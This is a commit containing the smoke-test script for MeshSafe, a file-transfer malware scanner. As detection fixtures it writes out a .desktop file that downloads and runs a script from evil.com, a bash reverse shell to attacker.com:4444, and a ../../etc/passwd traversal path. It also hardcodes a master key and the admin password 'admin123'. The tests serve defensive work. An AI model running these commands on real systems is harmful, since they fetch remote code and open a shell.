feat: MeshSafe 文件摆渡安全卫士 v1.0 初始提交
核心功能: - 6 层检测管线: L0 结构分析 → L1 ClamAV → L2 文档深度检测 → L3 关键词匹配 → L4 YARA → L5 PE/二进制 - FastAPI + PostgreSQL + Redis + Docker Compose 架构 - 客户端 HMAC-SHA256 签名鉴权 + 限流 + 幂等性 - 控制台 UI (登录/Dashboard/诊断中心/策略管理/任务列表/测试中心/产品介绍页) - 三层诊断定时器 (error_scan 30s / db_aggregate 30s / container_check 5min) 并发与稳定性修复: - 诊断定时器 Redis 时间槽位锁 (多 worker 同一槽位只有一个执行) - JSONL 存储 fcntl 跨进程排他锁 + 容错解码 + 原子重写 - 移除 SQLite fallback, 统一 PostgreSQL - API_CLIENTS 脱敏为环境变量, .env 已 .gitignore
This commit is contained in:
331
tests/smoke.py
Normal file
331
tests/smoke.py
Normal file
@@ -0,0 +1,331 @@
|
||||
"""冒烟测试:验证核心模块能否被正常导入和执行。
|
||||
|
||||
运行::
|
||||
|
||||
cd d:\\project\\MeshSafe
|
||||
# 确保 docker compose 的 PostgreSQL 已启动(或设置 MESHSAFE_DB_URL 指向可用 PG)
|
||||
$env:MESHSAFE_MASTER_KEY_BASE64="eHphbXBsZWtleTEyMzQ1Njc4OTAxMjM0NTY3ODk="
|
||||
python tests/smoke.py
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
|
||||
# 确保项目根目录在 sys.path 中
|
||||
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
||||
|
||||
# 必须在 import app 之前设置环境变量
|
||||
# DB_URL 由 .env 或 compose environment 提供,不再硬编码 SQLite fallback
|
||||
os.environ.setdefault(
|
||||
"MESHSAFE_MASTER_KEY",
|
||||
"Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=",
|
||||
)
|
||||
os.environ.setdefault(
|
||||
"MESHSAFE_ADMIN_PASSWORD",
|
||||
"admin123",
|
||||
)
|
||||
os.environ.setdefault("MESHSAFE_POLICY_FILE", "config/policy.yaml")
|
||||
|
||||
passed = 0
|
||||
failed = 0
|
||||
|
||||
|
||||
def test(name: str, fn) -> None:
|
||||
global passed, failed
|
||||
try:
|
||||
fn()
|
||||
passed += 1
|
||||
print(f" ✅ {name}")
|
||||
except Exception as exc: # noqa: BLE001
|
||||
failed += 1
|
||||
print(f" ❌ {name}: {exc}")
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
|
||||
|
||||
print("=" * 60)
|
||||
print("MeshSafe 冒烟测试")
|
||||
print("=" * 60)
|
||||
|
||||
# ---- 1) 日志系统 ----
|
||||
print("\n[1] 日志系统")
|
||||
|
||||
|
||||
def test_logging():
|
||||
from app.logging_config import setup_logging, get_logger
|
||||
|
||||
setup_logging()
|
||||
log = get_logger("smoke")
|
||||
log.info("INFO 日志正常")
|
||||
log.warning("WARNING 日志正常")
|
||||
log.debug("DEBUG 日志被抑制(默认 INFO)")
|
||||
|
||||
|
||||
test("logging_config 初始化正常", test_logging)
|
||||
|
||||
|
||||
# ---- 2) 配置加载 + 策略解析 ----
|
||||
print("\n[2] 配置与策略")
|
||||
|
||||
|
||||
def test_config_and_policy():
|
||||
from app.config import get_settings
|
||||
from app.services.policy import PolicyStore
|
||||
|
||||
settings = get_settings()
|
||||
assert settings.log_level == "INFO", f"log_level 应为 INFO,实际 {settings.log_level}"
|
||||
|
||||
store = PolicyStore(policy_file="config/policy.yaml")
|
||||
policy = store.current()
|
||||
|
||||
# 零容忍规则集
|
||||
zt = policy.zero_tolerance_rules
|
||||
assert len(zt) >= 20, f"零容忍规则应 >= 20 条,实际 {len(zt)}"
|
||||
|
||||
# 关键规则必须存在
|
||||
for rule in ("PdfJavaScript", "PathTraversal", "LinuxExecutable",
|
||||
"DesktopFileAutoExec", "ShellScriptDangerous",
|
||||
"LnkWithAutoExec"):
|
||||
assert rule in zt, f"零容忍规则缺少: {rule}"
|
||||
|
||||
print(f" 零容忍规则 {len(zt)} 条 ✓")
|
||||
print(f" macro_exceptions {len(policy.macro_exceptions or [])} 条")
|
||||
|
||||
|
||||
test("Settings + PolicyStore 加载正常", test_config_and_policy)
|
||||
|
||||
|
||||
# ---- 3) PolicyEngine 零容忍优先 ----
|
||||
print("\n[3] PolicyEngine 零容忍优先检查")
|
||||
|
||||
|
||||
def test_zero_tolerance_priority():
|
||||
from app.services.policy import PolicyEngine, PolicyStore
|
||||
from app.engines.base import Finding, Severity
|
||||
|
||||
store = PolicyStore(policy_file="config/policy.yaml")
|
||||
engine = PolicyEngine(store.current())
|
||||
|
||||
# 构造一个命中零容忍规则的 finding
|
||||
findings = [
|
||||
Finding(
|
||||
engine="structure",
|
||||
layer="L0",
|
||||
severity=Severity.CRITICAL.value,
|
||||
rule="PathTraversal",
|
||||
detail="归档成员路径 ../../etc/passwd",
|
||||
weight=85.0,
|
||||
),
|
||||
]
|
||||
|
||||
decision = engine.decide(
|
||||
findings,
|
||||
filename="evil.zip",
|
||||
declared_ext=".zip",
|
||||
size=1024,
|
||||
)
|
||||
|
||||
assert decision.verdict == "malicious", f"verdict 应为 malicious,实际 {decision.verdict}"
|
||||
assert decision.action == "reject", f"action 应为 reject,实际 {decision.action}"
|
||||
assert decision.score == 100.0, f"零容忍应给 100 分,实际 {decision.score}"
|
||||
assert len(decision.triggered) == 1
|
||||
assert decision.triggered[0]["type"] == "zero_tolerance"
|
||||
|
||||
|
||||
test("零容忍命中 → 直接 reject,不走评分", test_zero_tolerance_priority)
|
||||
|
||||
|
||||
# ---- 4) ELF 文件识别 + LinuxExecutable 零容忍 ----
|
||||
print("\n[4] Linux 专属检测(ELF)")
|
||||
|
||||
|
||||
def test_elf_detection():
|
||||
from app.engines.structure import StructureEngine
|
||||
|
||||
engine = StructureEngine()
|
||||
|
||||
# 创建一个最小 ELF 文件(ELF magic header)
|
||||
with tempfile.NamedTemporaryFile(delete=False, suffix=".elf") as f:
|
||||
f.write(b"\x7fELF" + b"\x00" * 60)
|
||||
elf_path = f.name
|
||||
|
||||
try:
|
||||
from app.engines.base import ScanTarget
|
||||
|
||||
target = ScanTarget(
|
||||
path=elf_path,
|
||||
filename="malicious.elf",
|
||||
declared_ext=".elf",
|
||||
logical_path="malicious.elf",
|
||||
depth=0,
|
||||
)
|
||||
|
||||
ctx = type("Ctx", (), {"settings": None})()
|
||||
result = engine.safe_scan(target, ctx)
|
||||
|
||||
# 必须有 LinuxExecutable finding
|
||||
zt_findings = [f for f in result.findings if f.rule == "LinuxExecutable"]
|
||||
assert len(zt_findings) >= 1, f"ELF 文件应触发 LinuxExecutable,实际 findings={result.findings}"
|
||||
|
||||
print(f" ELF 魔数识别: real_type={result.meta.get('real_type')}")
|
||||
print(f" 命中规则: {[f.rule for f in result.findings]}")
|
||||
finally:
|
||||
os.unlink(elf_path)
|
||||
|
||||
|
||||
test("ELF 文件识别 → LinuxExecutable finding", test_elf_detection)
|
||||
|
||||
|
||||
# ---- 5) .desktop 文件危险命令检测 ----
|
||||
print("\n[5] Linux 专属检测(.desktop 危险命令)")
|
||||
|
||||
|
||||
def test_desktop_detection():
|
||||
from app.engines.structure import StructureEngine
|
||||
|
||||
engine = StructureEngine()
|
||||
|
||||
content = """[Desktop Entry]
|
||||
Type=Application
|
||||
Name=Evil App
|
||||
Exec=/bin/sh -c "wget http://evil.com/payload.sh -O /tmp/p && sh /tmp/p"
|
||||
"""
|
||||
|
||||
with tempfile.NamedTemporaryFile(delete=False, suffix=".desktop", mode="w") as f:
|
||||
f.write(content)
|
||||
desktop_path = f.name
|
||||
|
||||
try:
|
||||
from app.engines.base import ScanTarget
|
||||
|
||||
target = ScanTarget(
|
||||
path=desktop_path,
|
||||
filename="evil.desktop",
|
||||
declared_ext=".desktop",
|
||||
logical_path="evil.desktop",
|
||||
depth=0,
|
||||
)
|
||||
|
||||
ctx = type("Ctx", (), {"settings": None})()
|
||||
result = engine.safe_scan(target, ctx)
|
||||
|
||||
zt_findings = [f for f in result.findings if f.rule == "DesktopFileAutoExec"]
|
||||
assert len(zt_findings) >= 1, f".desktop 文件应触发 DesktopFileAutoExec,实际 findings={result.findings}"
|
||||
|
||||
print(f" 命中规则: {[f.rule for f in result.findings]}")
|
||||
finally:
|
||||
os.unlink(desktop_path)
|
||||
|
||||
|
||||
test(".desktop 危险 Exec 字段 → DesktopFileAutoExec finding", test_desktop_detection)
|
||||
|
||||
|
||||
# ---- 6) Shell 脚本反弹 Shell 检测 ----
|
||||
print("\n[6] Linux 专属检测(Shell 反弹 Shell)")
|
||||
|
||||
|
||||
def test_reverse_shell_detection():
|
||||
from app.engines.structure import StructureEngine
|
||||
|
||||
engine = StructureEngine()
|
||||
|
||||
content = """#!/bin/bash
|
||||
# 反弹 Shell
|
||||
bash -i >& /dev/tcp/attacker.com/4444 0>&1
|
||||
"""
|
||||
|
||||
with tempfile.NamedTemporaryFile(delete=False, suffix=".sh", mode="w") as f:
|
||||
f.write(content)
|
||||
sh_path = f.name
|
||||
|
||||
try:
|
||||
from app.engines.base import ScanTarget
|
||||
|
||||
target = ScanTarget(
|
||||
path=sh_path,
|
||||
filename="reverse.sh",
|
||||
declared_ext=".sh",
|
||||
logical_path="reverse.sh",
|
||||
depth=0,
|
||||
)
|
||||
|
||||
ctx = type("Ctx", (), {"settings": None})()
|
||||
result = engine.safe_scan(target, ctx)
|
||||
|
||||
zt_findings = [f for f in result.findings if f.rule == "ShellScriptDangerous"]
|
||||
assert len(zt_findings) >= 1, f"Shell 反弹 Shell 应触发 ShellScriptDangerous,实际 findings={result.findings}"
|
||||
assert zt_findings[0].severity == "critical", f"反弹 Shell 应为 CRITICAL,实际 {zt_findings[0].severity}"
|
||||
|
||||
print(f" 命中规则: {[(f.rule, f.severity) for f in result.findings]}")
|
||||
finally:
|
||||
os.unlink(sh_path)
|
||||
|
||||
|
||||
test("Shell 反弹 Shell → ShellScriptDangerous (CRITICAL)", test_reverse_shell_detection)
|
||||
|
||||
|
||||
# ---- 7) open_risk 计算 ----
|
||||
print("\n[7] open_risk 计算")
|
||||
|
||||
|
||||
def test_open_risk():
|
||||
from app.services.policy import PolicyEngine
|
||||
from app.engines.base import Finding, Severity
|
||||
|
||||
# 无风险
|
||||
open_risk = PolicyEngine.compute_open_risk("clean", [], ".docx")
|
||||
assert open_risk["level"] == "low"
|
||||
print(f" 无风险 docx: level={open_risk['level']}")
|
||||
|
||||
# 零容忍命中
|
||||
open_risk = PolicyEngine.compute_open_risk(
|
||||
"malicious",
|
||||
[Finding("s", "L0", "critical", "LinuxExecutable", "ELF", 85.0)],
|
||||
".elf",
|
||||
)
|
||||
assert open_risk["level"] == "critical"
|
||||
assert "zero_tolerance_hit" in open_risk["factors"]
|
||||
print(f" ELF 命中: level={open_risk['level']} factors={open_risk['factors']}")
|
||||
|
||||
# 含宏
|
||||
open_risk = PolicyEngine.compute_open_risk(
|
||||
"clean",
|
||||
[Finding("d", "L2", "high", "VBAMacroPresent", "含宏", 40.0)],
|
||||
".docm",
|
||||
)
|
||||
assert open_risk["level"] == "high"
|
||||
assert "contains_macro" in open_risk["factors"]
|
||||
print(f" 含宏 docm: level={open_risk['level']} factors={open_risk['factors']}")
|
||||
|
||||
|
||||
test("open_risk 四级计算正确", test_open_risk)
|
||||
|
||||
|
||||
# ---- 8) main.py 导入 ----
|
||||
print("\n[8] main.py 导入")
|
||||
|
||||
|
||||
def test_main_import():
|
||||
# main.py 启动时会尝试连接数据库,这里只验证可被 import 解析
|
||||
# 实际启动需要 db_url 有效
|
||||
import importlib.util
|
||||
|
||||
spec = importlib.util.spec_from_file_location("app.main", "app/main.py")
|
||||
assert spec is not None
|
||||
print(" main.py 文件可被解析 ✓")
|
||||
|
||||
|
||||
test("main.py 可被 import 解析", test_main_import)
|
||||
|
||||
|
||||
# ---- 汇总 ----
|
||||
print("\n" + "=" * 60)
|
||||
total = passed + failed
|
||||
print(f"结果: {passed}/{total} 通过,{failed} 失败")
|
||||
print("=" * 60)
|
||||
|
||||
sys.exit(0 if failed == 0 else 1)
|
||||
Reference in New Issue
Block a user